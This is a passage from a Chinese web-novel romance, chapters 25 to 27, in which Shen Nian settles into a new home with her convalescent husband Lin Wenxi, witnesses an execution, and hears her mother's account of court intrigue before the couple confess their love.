门后有两人持刀把守,沈年瞧着她们的装束同先前所见的那些甲卫如出一辙。 “宋大人命我等在此护院,沈娘子日后安心出门当差就是。” 沈年点头道:“辛苦,辛苦。” 院内陈设古朴雅致,穿过前面的一间厅堂,是一间书阁,门匾上提着“素台阁”三字。 阁中摆着几个大木架子,不过空空如也,一本书都没有。 这显然是别人住过的旧宅,沈年心中描摹着原主人的画像,应是个手不释卷,痴迷文赋的世家才女。 从后门而出便是主屋,门前值着几排绿竹芭蕉,过了早春散着嫩生生的浅绿,将她心中的郁气净去不少,畅然开怀。 林闻溪身子痛又受了惊吓被人稀里糊涂抬到这里来,想合眼养养精神却频频被梦惊醒。 听见外面的脚步声,以为又是白石端了什么药进来,他没力气坐起来也不想再往肚子里灌那些苦药了,假装闭上眼趴着不动。 等门推开他辨出是沈年的步伐,一转头正对上她熬得满是血丝的眼睛,忧心地问他话:“觉得好点了没,可是还疼的厉害。” 林闻溪数了数她已是一天一夜没合眼了,拉着她的手进被中躺下道:“喝了大夫留的药,已经安稳没那么疼了。” 沈年侧过身将手心温在林闻溪的小腹处暖着,让他能好受一些,“我已经替你惩治了害你的人,将他送出了沈府,日后他没机会再来打骂你了。” “父亲他怎么肯的?” 沈年:“他当然不肯,是我逼母亲这么做的。” “那父亲还派人来掳我做什么,是想鱼死网破杀了我不成,”林闻溪边说边思考,“可除了我,三娘和母亲更不会容他了,这不是又添了一把火嘛。” 沈年抬手揉了下他的脑袋:“你无恙便好,大夫嘱托了叫你日后勿要再多思多虑,好好养你的病,费心思猜这些也无什么用。” 林闻溪劫后余生,冒着一股子傻气,嘿嘿的笑了几声。 “是是三娘教训的是。” 他靠在沈年怀中,沈年分明能摸得到他身上的根根肋骨,林闻溪实在是瘦了许多。 “往后每日多吃几碗饭,养成之前那样身上有点肉好。” 林闻溪止了笑声,往墙那边挪了挪,扭头蒙着脸睡。声音黯淡道:“知道了。” 沈年听见他变了声气起身凑近他,林闻溪刻意的往后躲。“好好的这又是怎么了?” “三娘别离得这么近看我。”林闻溪抓起帕子盖在自己脸上,从前他好看的时候他巴不得沈年能这么盯着他看,可现在他不用照镜子就知道,一定很让人倒胃口。 沈年哪能猜的到他这些弯弯绕绕的心思,“又耍什么脾气,刚好一点又要跟我闹哪出?” 林闻溪不理她,反将脸埋的更深了。 “我再问最后一遍。” 林闻溪听到警告怕再惹得沈年同他置气,于是扯下帕子为难的问道:“我只是害怕我如今这副模样不似从前,不想污了三娘的眼。” “啊?”沈年对林闻溪有些时候实在捉摸不透,摇了摇头说:“你不过是病瘦了点,这脸还是俊俏的很,再说养些时候自然能恢复如初的。” “三娘真觉得好看?” 沈年迅速点了点头。 林闻溪朝她笑了笑,“三娘能不能下辈子也娶我” 沈年被他逗笑,一头栽倒在他肩头。 “下辈子太远,养好你的病再说吧。” “我到奈何桥上也跟着你,那就不远了。” 沈年仰起头突然眼神认真道:“没了谁你都要好好活着,要惜自己的命,还有你往后万不能做什么伤人害命的事,若敢做就别怪我不讲情面。” “我发誓。”林闻溪伸出三根手指向沈年保证道。 沈年低头下去在他脸上亲了亲,“往后一切都会好的。” 她连轴转了几日实在太累,很快枕在林闻溪肩上熟睡。 这好像还是头一次,沈年比他先睡着。 林闻溪细细用嘴唇品啄着她的脸,从眉眼到鼻尖最后停留在她的软软的唇间。 不带着情|欲,只有满心满眼的珍视和要溢出来的爱意。 孩子的事情今日两人都默契的未再提起过,林闻溪不是喜欢活在过去中的人,过去的事情再痛也已经过去了,他不会让自己更不会让沈年守着前事日日哀伤。 如同沈年说的,往后一切都会好的,他要向前看。 他闻着沈年的味道格外安心,牵着她的手不知不觉和她一同坠入梦乡。 梦中他与沈年在一片青绿的原野,空中的云朵似乎踮一踮脚就能触到,他枕在沈年腿上躺着望天上的那一只风筝被风吹到远处天际,模糊不见。 沈父与沈修撰大闹了一场,沈年从二人的争吵中听到这不是沈父第一次做这种事情。 二人之间并非像一直这样平淡如水,从前也是有过一段琴瑟和鸣的时候。两人自幼便定下了婚约,算的上是青梅竹马,两小无猜。 后来沈家家道中落,沈修撰也走了霉运两次科举落第,人生坠了谷底,而当时沈父的母亲却是节节高升,门楣兴旺。 当时人人都叫他退了这桩婚,他一心钟情沈修撰为了陪她义无反顾入了沈府做主君。 有了他揽过沈府的烂摊子,沈修撰得潜心苦读三年一举中了探花。 然自她入仕为官后便一心钻研升官弄权,二人渐渐变得话不投机,加上沈父连着两胎都生了儿子,其中一个又不过半年就夭折,可谓是身心俱损,二人关系降至冰点。 更让沈父心灰意冷的是,沈修撰接连纳了两个侧室进门,受宠的那个不过五六个月就怀了身孕。 沈父的心如何能平,送了几碗药过去八.九日过后那侧室便父子俱亡,沈修撰原本蒙在鼓里,直到沈父第三胎生了沈年这个女儿后,沈父彻底揭开了自己的面目。 沈修撰一直觉得心中亏欠他,最终也并未追究。 两人就这样居然过到了这年岁。 沈父被送上马车时,转头冲过来抱了抱沈年。 沈年伸出手最终却没将他推开,沈父箍着她的肩膀恸哭,“或许是爹爹真的做错了,但唯一一件事女儿不能怀疑,爹爹才是这世上最最疼你的人,你手上的这伤是那林氏弄得吧。” 沈年怔怔的抬头,“父亲怎么知道,听谁说的。” “没有谁,只是一封佚名的信。”沈父松开她,又不舍的摸了摸她的头,“原本想拿住那林氏和院中的那个白石审一审,也将林氏那个毒夫送上公堂,可惜罢了。” 沈年后知后觉害怕,“信,什么信?” 沈父从袖中将那张纸拿出来给沈年,连同那个木盒。 里面还是那只长命锁和平安符,沈父亲手挂到沈年身上,“今年不能为年儿过生辰了,爹爹提前祝女儿平安多福,得偿所愿。” 沈父离去后,沈年还是忍不住落下眼泪。 她展开那张信纸,上面的字迹她看见过,是阿久的。 纸上全数是对林闻溪的每日起居记录,还特别用几个大字写出林闻溪下药让她染了风寒的事。 怪不得怪不得 25 第25章 ◎“三娘要帮我擦背?”◎ 沈年揣着那张纸回去,觉得身上黏了张凶咒一样,晦气的很一进门将那张纸丢进炭盆里烧了个干净。 这院子许久未有人住有些冷,沈年傍晚睡醒时给屋里添了这盆才走,林闻溪睡的香醒来时身子被烤的暖乎乎的,都不那么疼了。 沈年还搬了张小桌案到榻前来特意守在他身边,此刻正低着头专心致志又开始画她的图纸。 炭盆里火点噼里啪啦轻轻炸开,沈年笔一道道划过纸张,还有外面风略过着竹叶的声音,二人搬进新居,此刻他还有什么所求呢。 只盼望着这样的时候,往后能多一些,久一些。 林闻溪静悄悄的在被窝里趴起来,盯着沈年的侧脸出神,她五官瘦的比从前更加分明,顺着他的视线看过去她的脸颌线条格外清晰。 他掰着手指头数了数日子,好像自他在汤里下药让沈年风寒起,两人之间就没在有过什么安逸的时刻,他从前实在是做的有些过头,怪不得他现在一有什么异样沈年就要提起十二分精神来盘问他。 他做为郎君,来了这兰城没有帮上什么忙,尽给她添了一大堆麻烦,反倒是让沈年费心一直细致的里里外外的照料他。 林闻溪想着,在枕头上轻轻叹了声气。 他白吃白喝在这榻上已睡了半月有余,什么时候能好起来呢。 沈年赐他的恩情太多,他想要慢慢一点点还给她。 沈年听见他的叹息,以为林闻溪又在讲什么呓语梦话,转过头往塌上瞧了一眼,见人醒了又转溜着眼珠不知道琢磨些什么。 “醒了怎么不吭声。” 林闻溪蹬着脚后跟扑腾了几下还是没能爬起来,自己埋怨自己道:“我不想扰了三娘的正事。” 沈年过去扶着他靠着床沿半坐起来,林闻溪握着沈年的右手拨开纱布看她的伤已大致愈合,但留了一条显眼的疤痕,一整圈像是把手掌截断,一分为二一般。 林闻溪抬手扫视地上摞的一个个小木箱,这都是沈年刚叫人从院中搬过来的,里面都是些林闻溪平日用的瓶瓶罐罐。 也不知道做什么用的,就暂且堆在那,等林闻溪日后自己拾掇。 “那边最大的那个,”林闻溪循着方向指了指,“三娘帮我搬过来。” 他低头在箱中翻找出一个靛青的小圆盒递给沈年,“三娘记得每日早晚在疤痕处涂上,半月之后痕迹就会慢慢变淡的。” 沈年打开闻了闻,有股清清凉凉的香味。 “等半月之后,我能下榻,就再给三娘制一盒新的,保管最后一点疤都不留。” 沈年塞了一碗鲫鱼汤到林闻溪手上:“你还会做这东西?不过大夫说至少要静养一个月,要些什么用料待会你写在纸上,等明日我买回来,你闷的时候刚好能打发时间。” 林闻溪欢喜点头,他觉得总算是有点用处了。 他如今容颜尚可,六成是从他那爹爹继承来的,四成是靠他平日里那一盒又一盒养颜膏调养的。 他在林府的每月领的份例大半都用在这些东西上,所以对付这些伤疤倒是颇有心得。 毕竟他无依无傍,唯一还算能拿的出手的就是这张脸了,他不多在脸上花心思如何能被沈父看中,为自己谋来这桩婚事呢。 便是现在,他也觉得沈年是更爱他这副皮相多一些,在榻上沈年比起和他亲吻更喜欢亲他身子,也从未真正说过心悦他之类的话。 林闻溪越想越偏,脸上发红低头埋着脸喝汤。 这汤煲的又鲜又甜,他许久没正经吃过一顿饭了,一大碗咽下肚没忍住又向沈年不好意思的讨了一碗。 沈年出门直接将煲汤的小锅端在他面前,“一碗汤而已,何须这样小心翼翼的,你若喜欢明日我再去河里摸两条回来炖给你喝。” 林闻溪似乎对此饶有兴趣:“三娘也会抓鱼吗?” 沈年边回答边坐回去忙手上的事,“我在河道上和她们学的。” “我听白石说摸鱼很好玩,小薇常常带着他去呢,每回都能捞上满满一筐在河边烤着吃,光是想想就惬意,三娘什么时候也能带我去见识见识就好了。” 林闻溪的语气像个小孩子。 “摸鱼要把脚泡在河水里一两个时辰,你哪能受的了。” 沈年未听见林闻溪再吱声,偏头看着林闻溪脸上丧气的表情,又想了想,“兰城山上有笋子,等你养上一个月笋也刚巧到了时节,到时候我带着你去玩。” 林闻溪捧着碗粲然一笑:“好。” “白石他伤的重不重?”林闻溪喝饱放下碗,忽然想起来又问沈年。 今日沈父的人闯进来的时候,全凭有白石在旁相护,他的胳膊被用木棒子打了一棍,本以为没什么大事,晚上才发句抬不起来,有一大块青肿。 沈年道:“我安排了小薇与他隔个墙住照顾,休养个几日应该就能好了。” “三娘这月多发些工钱给他,他跟着我尽心尽力受了不少苦,银子从我账上出算是我的一点心意。” 林闻溪没什么朋友,眼下能与白石合得来,听话茬平日里两人说了不少话,沈年替他开心笑着点头。 “只心烦这几日三娘不在,我就要成日对着父亲身边的那几个侍从了。” “怎么?” “在沈府的时候我没少在他们面前被父亲训的难堪,我还曾听见过他们私下里嚼舌根呢,”林闻溪边说边回忆,不自觉捏起了拳,“现在见父亲失势了,又扑到我脸上来巴结。” 沈年抬手在他眼前晃了晃,“少动气。” 林闻溪刚才就留心到了沈年身上挂着的长命锁,听到铃铛轻轻的响动恍然想起来在合婚庚帖上看过的八字,再过几日就是沈年的生辰了。 他扳着指头思量着要送什么生辰礼才好,难得在沈年面前安静下来。 沈年这边想着的也是送礼的事,她答应宋大人要登门奉上谢礼,人家定不缺什么金银珠宝,她思来想去拿不定主意。 刚才从官署回来的时候,正见到农田上有人唤着黄牛犁地,此时正值春耕的时候,田地多的人家要一连半月从早忙到天黑,赶着第一场春雨落下前将地翻好才行。 而且普通庄户人家,家中有牛的也只是少数,多数农户靠的一双手劳作,不光是犁地翻土之后还要挑水浇地,一小块地就够一家人忙活了。 古代靠雨水土地吃饭,沈年想着趁着修坝或可以引几条渠过来方便灌溉,建造水车可以让农户省不少事。 这不光是宋昭佛所说不负皇帝所托,更能借机为百姓们谋一点福祉,她这些日子结识了不少河道上的劳工,真切体知到了文中所写的生民疾苦这四字。 她低头画这张图时带着一种她说不出来的情愫,她太渺小不敢给自己带什么高帽,只想着能尽绵薄之力让她们能过得轻松一点。 沈年暂且将草图画就,外面的侍从叩门,端了一大盆热水进来,水面还飘着几片花瓣,侍从在林闻溪面前显然是要比之前要恭谨。 “少君该擦身了。” 林闻溪不愿意让他们如此近身伺候,可又不想沈年看他现在这副不太漂亮的身子,心中纠结一时无话。 沈年起身摆手让侍从退出去,她浸湿帕子到林闻溪面前打着呵欠坐下。 林闻溪紧张道:“三娘要帮我擦?” 沈年会错了意回道:“你刚才不说话,我以为你不想让他们碰你,那我再帮你把他们叫回来?” “不用了。”林闻溪说着转身背对着她解开衣衫,“前面我自己来,三娘帮我擦下背就好了。” 沈年见他这副忸怩的样子就猜到他脑子里在想什么,懒得再戳破应了一声。 她怕林闻溪着了凉,从他后腰处将手探前去,将他的衣裳拉下来。 “三娘”林闻溪拦了一声。 “等你磨蹭完,水都要凉了。” 沈年说着握住他的腰,撩开他后面的乌发,露出他光洁的脊背,虽然瘦弱但还是分外漂亮,沈年不知道林闻溪究竟在胡乱担心些什么。 帕子贴上去的时候林闻溪后背的肌肤微微颤了一下。 沈年问他:“是烫到了?” 林闻溪摇了摇头道没有,然后将手向后勾了勾,握住沈年的手指:“三娘别这样掐着我的腰。” 沈年故意使坏握的更紧了:“不这样我怎么使得上力气,。” 林闻溪挪了下腿:“那好好吧,三娘动作快点。” 沈年没用多少功夫轻轻擦了两回,林闻溪觉得度秒如年。 终于从沈年手中接过帕子,低头擦到心口处的伤痕,才发现自己身上也留了个难看的疤,先前伤口没愈合不能涂药,又昏天黑地的睡了几日,根本没注意到这事。 他探手上去摸了摸,倒是没有沈年手上的那么深,不过要完全淡下去也需要三四个月,幸亏没叫沈年瞧见。 她最喜欢亲他身上这处了。 沈年看他停着不动,将脑袋从他肩上探过去,林闻溪吓得一激灵,拉起被子遮在身上,慌张打量着沈年的表情。 沈年也跟着一抖:“怎么了突然跟防贼一样,又不是没看过。” 林闻溪捂着被子心有余悸:“明明是三娘要偷看。” “我只是想看你停在那干什么,光着背当心受凉。” “我很快就能擦好,”林闻溪探出脚轻轻踢了下她,“不过三娘要转过去,我好了就唤你。” “好我这就走。”沈年起身往外走去洗自己的脸。 夜里吹灭了灯,林闻溪才又安下心过来枕在沈年肩上睡着。 沈年清晨睁眼,悄悄将手指从襟口探进去,凑过去一瞧恍然大悟,在他耳边叹了声气。 林闻溪睡的浅被沈年的声音吵醒,张开眼沈年的脸正压在他面前,迷迷糊糊的问:“三娘这是在做什么?” 沈年亲昵在他唇边亲了亲:“我瞧你睡着的样子可爱,舍不得下榻走想着偷偷亲一下呢。” 林闻溪被沈年一句话哄得害羞,“又不是头一天做夫妻了,怎么今日这般黏糊。” 沈年见瞒过去了才敢走,打理好衣衫出门,林闻溪在里间唤她带点桌案上的点心再走,沈年在帘中探出头晃了晃手中的布袋,“都带上了,你好生养着,午间我不回来瞧你了。” 林闻溪脸贴在枕头上温和的点点头。 林闻溪没有再躺多久就唤了侍从扶他起身坐着,命他们去街上买了几节杨木来,在纸上凭着记忆画了一只猫。 这猫黑白相间,瘦瘦小小的时常来蹲在他们院子的墙头上。 沈年似乎很喜欢这些生灵,一见到就站在原地拟那猫的声音喵喵唤它,只是它胆小怕生,沈年一次次总捉不住,不然早收留养在院中了。 沈年似乎对什么都兴致缺缺,可有可无的样子,唯独对这只小猫喜爱非常,日日不忘在墙角处给它添水添饭, 林闻溪想着不如按着这猫的模样木刻一只来放在她的床头,每日醒来看见便能开心。 他这木刻的手艺还是他爹爹教给他的,听他爹爹说他原本就是靠卖木刻为生的,林闻溪幼时的玩具一半都是自己捡木头刻来的。 正巧这木刻有祈福辟邪的好寓意,只是不是什么名贵值钱的东西,他拿着几块木头在手中仔细挑了挑,选了一块纹理品相最好的先留着,随手拿了另一块按着纸上的画试着开始试手。 他许久不做这东西了,果然手生了出了好几次错。 但愿沈年能喜欢他送的这生辰礼吧。 他简单刻了个模样出来,听见外面的侍从来禀告,沈年收留的那个清茸能下地了,想来拜见他。 林闻溪没有沈年那样的心怀,他觉得清茸可怜是可怜,但一想到他进过那样的地方心中总有些芥蒂,毕竟人们口中传言这样的人十分不详,像是乐馆的那些小倌人们见到都是要绕着走的。 沈年是女子到无妨,他若与这样的人打交道难免不会被人议论。 林闻溪假装揉了揉头回绝,“去回一声,说我身子还在病中,不宜相见,等过些日子大好了再与他说话。” 侍从按林闻溪的话出去回了,又折返回来。 “少君,那男子听说今日那几个贪腐的总管要被压上法场行刑了,想来问您能不能派人拉他过去看。” 原来是想求他这事,这是人之常情,林闻溪爽快应下。 “去跟院中的守卫说一声,带他过去就好。” 26 第26章 ◎先帝一朝的往事◎ 沈年本想着在今日去河道上拿出图纸与宋昭佛商议一番,然而听闻沈修撰张出了布告,今日要将犯人压到法场一同正法,宋昭佛一同监斩,今日没来帐中,沈年只好暂将此事搁置。 沈年一从宋昭拂帐中出来就被人围了上来。 其中一个素来爱挑事的上来就义愤填膺喊道:“沈娘子,按你教的方法浇出来的小轮承不了重,在地上转几圈就压折了,耽误了两日学这东西没挣工钱,弄出这一堆破铜废铁也无法用,沈娘子可得给我们想想法子!” “沈娘子不如将工钱补给我们,家里的男人还等我今日带铜板回去买米下锅呢!” 小薇是个暴脾气,见一众人围着沈年嚷叫,亮嗓子喊了一句道:“我们三娘子一片好心一遍遍教你们为了让你们多挣点工钱,明明三娘子亲手做出来的没有问题,你们现在不分青红皂白就上来讨钱真是翻脸不认人。” 搬着几筐土石路过的听见有人出头,也跟着搭腔为沈年说话:“我做出来的也没问题,是不是沈娘子教的时候你们没留心听呐。” 当头的人气冲冲的吵道:“谁说的,我们都是仔细按步骤一步步做的!” 眼见着又要哄闹起来,沈年边往砂堆那边走边冷静道: “大伙莫急,家中没银子吃饭的先去主簿那领一日的工钱,我去看看你们填的砂箱还有铸件哪出了问题。” 听到能领工钱大半人静下声来不再吵了。 沈年走过去随手拿起一废件在手中一瞧,表面到处可见的气孔自然容易变形,出现这样的缩孔大半是在浇金属液的过程中流速不匀所致。 沈年举在空中晃了晃问:“这件是谁做的?” 一人举手从人群里钻出来,沈年招呼过来亲自示范了两三遍,她边做边耐心讲道:“手上要稳,倒的时候不能过急过慢,像我这样的流速做出来便不会有问题了。” 沈年本就没什么官架子,常与她们坐在一处吃喝,劳工们也本是为了生计不是故意为难沈年,见状也纷纷拾起自己的工件凑到沈年面前讨教:“沈娘子再看看我的。” 沈年一个上午为众人排疑解难,一直说话嗓子都哑了刚坐着喝了一碗水。 见人们不午歇纷纷都往刑场那里跑,小薇又硬拉着沈年一同去看,“听说十几个人一起行刑,错过这场面三娘子再过十年也看不到呢。” 去时人头攒动围着刑台里外站了几圈人,连个落脚的地都没有,底下的百姓不知哪一个捡起地上的石子往死囚脸上砸,其余人也跟着效仿,石头跟流星雨一样噼里啪啦往死囚身上打,街上楼窗中探出身子看的人高声呼喊着拍手叫好。 刑场阶上的高台上铺着红毡,一旁放着漏刻时辰一到,三位钦差就从围帐中迈着官步出来,沈修撰是主审官站在正中,威风八面。 她坐定的敲一声桌上的惊堂木,四下骤然间静了下来,等着沈修撰将写“斩”字的黑令签从台上扔到地面,人群再次沸腾起来。 刽子手洒了一口酒,大刀一挥血溅四处。 沈年下意识将头扭到后面,从人堆里往外面钻想出去透一口气,瞧见清茸被人抬着坐在担子上眼睛都不眨一下,他未哭未笑,脸上没有表情就那般看着。 “沈娘子……”清茸见到沈年向他走来扶着身下的木架,勉强笑了笑,“沈娘子今日回去代我向林郎君道一声谢,谢谢他派人将我抬到这来,亲眼见到仇人被血刃。” 沈年想了想,“他大病未好不能见人,等过些日子你亲自去谢他。” 清茸苦涩摇了摇头道:“劳烦了沈娘子又救了我这样的人一回,我不能继续留在府上叨扰了。” “你孤身一人要往何处去呢,你不必多想我们院子里屋子多着,住你一人不妨什么事。” “沈娘子我在你们院子里,会损了院中男眷的声誉,我不能如此没有良心赖着不走,再不济我去街上乞食我这样的人早死早干净。” “怎么又说这种*话,你的仇是报了,还有翠娘呢。”沈年看见清茸眼中滴下泪,没有继续往下说,“而且我给你治病花了不少医药费,你还未还我怎么能走?” 清茸淡淡的笑了笑,“沈娘子真是十世修来的大善人,那我住下来,等腿脚利索了我在沈娘子院中当个杂役来还你的医药钱。” 沈年满意的点了头,“这就好。” 吩咐完抬担子的人将清茸送回去,沈修撰跟前的人就来传,说是沈修撰有话要问她。 沈年被人带去一间凉亭,沈修撰背身站着等她。 昨日两人闹得僵,沈年犹豫了几下还是张口唤了声母亲。 沈修撰回首道:“看来你还愿意叫我一声母亲。” “母亲守信送了父亲走,女儿自然也要信守诺言。” 沈修撰抬头打量了沈年一圈,开口话头一转问道:“那院子是宋昭佛让你住的?” 沈修撰的语气出奇的平和,沈年回了一声是。 “你何时与她走的这般近了?” “平日里常向宋大人述职,她凑巧搭救了林氏,见院子被砸坏了就叫我先住在此。” 沈修撰看向她摇头轻蔑的笑了笑,“凑巧?她这种鬼话你也会信。” 见沈年不解,沈修撰又开口道:“你可知道你住的是当今陛下曾来住过的院子。” 沈年闻言一瞬如坐针毡,站起来惶恐望了一眼那院子道:“宋大人怎么会把这样的院子给我住,这不会犯什么忌讳吧。” 沈修撰淡定的抬了下手,“她既给住就无事,只是这宋昭佛这是要彻底把你和她们绑在一条船上,让别人知道你已是陛下一派的人。” 沈年道:“有陛下庇佑,这不是一桩好事吗?” 沈修撰摇头转身望着远处,开始向她讲起先帝那一朝的往事。 先帝原本只是个宫侍所生的不起眼的公主,谁也没想到她能从一众亲王中杀出重围夺嫡登基,而且福泽深厚在位有五十余年,膝下子嗣众多,尤其是与元君所生的二公主,人人见了都要称道一声,也早早被先帝立为了太女。 先帝年轻的时候不得不说是位为勤政英明的君主,只是到了暮年却是昏招频出。日日沉迷声色荒废朝政不说,还痴迷于长生炼丹之术,引的百姓怨声载道,朝臣纷纷上书谏言。 先帝恼火听信左右宠臣进言设立风宪司纠察百官之失,风宪司为迎合圣心,或是挖除陈年旧事或是安上莫须有的罪名,将上书劝谏的大臣接连下狱问罪。 其中牵出一桩巫蛊大案,起因是有人检举一朝臣在家中私藏桐木人偶诅咒皇帝,风宪司前去搜捕果然从朝臣家后院挖出一木偶上写着先帝生辰八字,先帝震怒下令彻查。 当时京中大臣人人自危,早晨一身官服去上朝或许午间就穿上囚衣被拉到午门枭首示众,人头滚地了,最后这案子居然查到了当时的太女身上,说其有意图谋反之嫌。 风宪司将罪状呈上去先帝大怒,下令将太女赐死,太女一脉千人尽数斩首,无人幸存,还波及了三位与太女交好的公主,被圈禁终身不得出。 经此一案再无一人敢上书,当时的风宪司几乎凌驾于朝廷三阁之上,盛极一时。 朝中文臣为了自保以中书令赵书群为首私下里结成一党与之相抗,但也只不过是螳臂当车而已。 先帝病重后渐有所悔悟,驾崩前几日设局将风宪司的首官刺杀,才算压下去风宪司的气焰。 说起来当今陛下的皇位几乎是算撞了天运捡来的。 或被杀的或被关的,还有没熬过先帝先亡故的,最后可选之人居然只有一个痴迷于吟诗作画的十公主,先帝驾崩后被仓皇推上帝位。 如今朝堂上风宪司与赵党水火不容,各脉宗亲也人心不定,可算是乱成一锅粥,陛下这一派的势力算是最末的。 “我说这宋大人先前还对我颇有成见,忽的无事献殷勤邀我同宴原是没安什么好心。”沈年听毕双手抱胸气鼓鼓的说道。 “我早告诫过你少对那林氏上心,男人当个物件摆在家里有个样子就好,你偏偏要捧在怀里,如今叫宋昭佛捏到你的软肋,你日后免不了要处处被掣肘。” 沈修撰还是不忘说她那一箩筐,不过后半句倒是真心在替她忧虑。 沈年知道书中剧情陛下之后有女主匡扶帝位坐的稳固,宋昭佛虽是有心利用她,却也正合沈年的意,与女主站同一条线上总不会出错。 沈年起身向沈修撰走近一步,“正所谓祸兮福之所倚,说不定这是女儿的机缘呢。” /:. “我刚才与你讲的那些都白费吐沫了不成,你怎还不知道这里面的厉害” 沈修撰说着低头注意到沈年袖中卷着的图纸,抽过来展开一看,“这东西你要呈送给宋昭佛看?” 沈年随即点头却被沈修撰拿纸在头顶重重敲了一下,“糊涂!这岂是你该管的事,工部是赵党的势力,你莽撞乱出风头是会被人盯上的。” “可女儿也并非是为了出什么风头,只是想为农户们做件好事。” “党争本就是党同伐异,”沈修撰满目笃定的看向沈年,“等着吧,不出三日封赏你的圣旨就会到,到时候人人皆知,你这时露这个脸就成了众矢之的。” 沈年将图纸从沈修撰手中接过,沈修撰的声音在她耳边像是一声声钟响,“要想在这滩浑水里不被淹死,首要学会藏拙,万不可锋芒太过,等你有朝一日登到高处有能力保全自己和身边的人,那时才能做你想做的事。” “女儿明白了。” 在官场上沈年和沈修撰比起来宛如一个三岁孩童,她没有不听沈修撰的道理。 沈修撰忽然伸手摸了摸沈年的头,沈年一时抬起头错愕。 “我明日便要启程回京,将我的话记在心里,万事三思而行。” 沈年躬身向沈修撰一拜:“谢母亲指点迷津,一路平安。” “去吧。”沈修撰摆了摆手道。 沈年走到拐角处回头望了一眼,沈修撰也正看着她,发觉沈年的视线她低下头躲避,沈年执着停在原地不走,僵持许久,沈修撰还是将头抬起来向她微微一笑。 林闻溪听见外头侍从的咳声,将手中的木刻塞进小箱子里藏到塌下。 “三娘回来了。” 林闻溪见沈年满面春风笑着迎她回来。 “嗯。”沈年沾了一身灰土,停在珠帘外换衣衫,侍从跟着鱼贯而入凑上来服侍。 沈年想着这些侍从跟着沈父一路走过来又被抛在这也是不易,如此殷勤也只是为了讨她的好罢了,她若不用这几人更是要惶惶终日不安了。 林闻溪在榻上看着沈年乖乖探着脸让那两位小侍从擦,向外唤了一声沈年,“三娘坐过来。” 沈年偏过头问:“怎么了。” 那两个小侍从识了林闻溪的脸色,端着水盆和帕子进来放到他手边而后又站到外面。 “不过擦个脸而已。”沈年坐到林闻溪面前打趣道:“也不怕别人笑话你小气。” 林闻溪托着沈年的脸往前凑近,“天底下男人都这样,有哪个是大度的,谁能笑话谁呢。” 沈年笑的灿烂,林闻溪将帕子覆在她脸上,“我看三娘也受用的很,我日后也不必费心装什么了,安心当个妒夫,三娘是不是更喜欢。” 林闻溪点中她的心事,她确实喜欢在林闻溪身上闻这醋味。 27 第27章 ◎“我是喜欢你。”◎ 外面的一声雨点打在芭蕉叶上,也像是打进了沈年心里的那一谭水,一圈一圈泛起涟漪。 她的眼眸亮亮的看着林闻溪,上面胧着一层柔光,脸一寸寸往他面前凑。 沈年每回要亲他的时候就这般看着他,林闻溪放下手中的帕子眼神向外瞥了眼,抓着沈年的前襟往前一扯,将两人的脸藏在塌边的纱帘后面,呼吸近在咫尺他本能的闭上了眼。 沈年懵了下不由的压低声音,悄悄道:“还有人在,你拽我做什么?” 林闻溪的脸羞红成一团,以为沈年又在故意钓着他捉弄,恼羞用额头磕了一下她的肩,“三娘不是要” “不是。” 听到沈年的话,林闻溪下意识抬手要将沈年推出去,脸上的红晕变成了自觉丢脸的局促。 沈年握住他慌乱的手,将人抱在怀中,林闻溪抵在她肩上将手挣开探进薄衫中拉扯,露出她的锁骨低下头咬了一口。 他并没有使什么力,咬完还安抚似的轻轻舔了下。 “你属小狗的,动不动就咬人。” 林闻溪抬起头,“谁叫三娘总爱耍这些招数戏弄我。” “谁要耍你了,我刚才只是想跟你说句话。” “说什么?” 沈年被他的眼神盯着,一时嘴巴像黏住了结结巴巴说道:“我我是喜欢你。” 沈年原以为林闻溪会贴上来热烈的与她缠吻,但他定着不动眼睛往地下瞟,喉结滚动分外纯情的回道:“我也喜欢三娘。” 沈年轻轻笑了声,“你的反应每次都让我猜不中。” “三娘想要我有什么反应,我我可以做。” 沈年摇头摸着他的脸真挚的在他唇上亲了下,“没关系,你是你自己就很好,不必刻意迎合我。” 外面的雨声变得急骤,拍打着院子里的草木门窗潇潇作响,风声穿过竹叶从窗缝中带进来冰凉的水气,先前他最怕这样的天气,每到这样的夜晚他总要一个人蜷缩成一团,腿上的痛发作膝盖里面像是灌着水,他形容不准确那种感觉就像是拿着钝刀子割肉一般,折磨着人整夜不能合眼。 然而今夜,他生平头一回从别人的嘴里听到喜欢二字,林闻溪鼻子一酸,躲在沈年怀中小声啜泣,在她怀中被温暖的体温围拢,那些风雨全数被挡在外面,再也不会扰他安宁了。 “怎么哭了?” 林闻溪仰起头,他的眼睫上沾着湿润的泪珠,凑上来虔诚的吻了下她,他本要松开说话沈年忍不住追上去含着他的嘴巴深吻。 林闻溪被沈年压着,后腰靠着床沿才算是支撑住上身,沈年前几回总是一贯温柔,这回分外强势让他几次忍不住哼出一点声,林闻溪怕被外面听到用手指点了点沈年的背。 沈年将他松开,见林闻溪被他压得上身半向下倾倒,将人扶起来在背上揉了下,“抱歉。” 林闻溪捂脸一笑,“三娘刚才还像要把我拆吃入腹,一转头怎么又这般斯文客气起来了。” “下雨了。”沈年看着林闻溪的嘴巴红红,被他这么一说也觉得不好意思,生硬的转过话题,“看这雨势下到明早去了,我去帮你把炭盆搬来暖一暖腿。” 林闻溪伸手帮沈年身上被他揉皱的前襟理好,眼意笑笑的点了下头。 沈年出去穿上外衣将炭盆搬来,又把窗缝都堵的严实,将林闻溪披上件厚袍子扶着他下榻坐在躺椅上,“你烤一烤,呆会我扶着你走几步,久卧血液不流通也要适当走走。” 沈年说着闻到外间飘进来的一丝香味,“今日这是吃什么这么香。” “我瞧三娘这几天跟着我吃那些清淡寡味的都吃腻了吧,昨天夜里一直说梦话,就备了暖锅子来,正巧今日落雨呢,还有白石酿的青梅酒微酸回甘,三娘尝尝。” 沈年心虚的摸了摸脸,其实她偶尔回来会偷偷先去酒馆子里点几个小菜,回来再陪着林闻溪假吃几口。 幸亏今日见要下雨没去,不然就白费林闻溪替她花心思了。 沈年替他揉着腿:“那你吃什么?” “还是那些药膳,我已经吃过了,三娘去吧。” 沈年点头出去坐下,锅里咕噜咕噜冒着热气,听着外面的雨声,格外的舒心。 “三娘怎又将这纸拿回来了,不是说要给宋大人瞧嘛。” 林闻溪坐着无聊,拿起沈年的图纸看了看向外问了句。 “母亲今日跟我说了些事,这纸暂且还不能拿出来。” “对了,母亲下午派人送了几件瓷瓶字画过来,让三娘挑一件给宋大人当做谢礼呢。” 